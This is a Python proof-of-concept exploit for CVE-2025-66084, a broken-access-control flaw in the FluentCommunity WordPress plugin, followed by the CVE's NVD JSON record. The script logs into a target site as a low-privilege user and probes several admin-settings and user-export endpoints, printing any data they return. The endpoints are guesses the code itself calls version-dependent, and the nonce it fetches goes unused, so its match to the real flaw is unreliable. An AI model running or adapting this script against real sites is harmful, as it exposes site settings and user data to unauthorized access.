CVE-2025-66084

import requests import sys # CVE-2025-66084 PoC - FluentCommunity Broken Access Control # Target: WordPress site with FluentCommunity plugin <= 2.0.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_wp_nonce(url, cookie): """Get WordPress nonce for authenticated requests""" response = requests.get(f"{url}/wp-admin/", cookies=cookie) if response.status_code == 200: import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit(): """Exploit Missing Authorization vulnerability""" session = requests.Session() # Step 1: Login as low-privilege user login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'testcookie': '1' } login_resp = session.post( f"{TARGET_URL}/wp-login.php", data=login_data, allow_redirects=True ) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Logged in as low-privilege user") # Step 2: Get nonce nonce = get_wp_nonce(TARGET_URL, session.cookies) # Step 3: Exploit broken access control # Target the vulnerable endpoint (specific path depends on plugin version) exploit_paths = [ '/wp-json/fluent-community/v1/admin/settings', '/wp-json/fluent-community/v1/users/export', '/wp-admin/admin-ajax.php?action=fluent_community_admin_action' ] for path in exploit_paths: try: resp = session.get(f"{TARGET_URL}{path}", timeout=10) if resp.status_code == 200 and 'admin' in resp.text.lower(): print(f"[+] Vulnerable endpoint found: {path}") print(f"[+] Response snippet: {resp.text[:500]}") return True except Exception as e: continue print("[-] No vulnerable endpoints found or already patched") return False if __name__ == "__main__": print("CVE-2025-66084 PoC - FluentCommunity Broken Access Control") print("=" * 60) exploit()

{"cve": {"id": "CVE-2025-66084", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:49.387", "lastModified": "2026-04-27T18:16:34.417", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Shahjahan Jewel FluentCommunity fluent-community allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects FluentCommunity: from n/a through <= 2.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fluent-community/vulnerability/wordpress-fluentcommunity-plugin-2-0-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}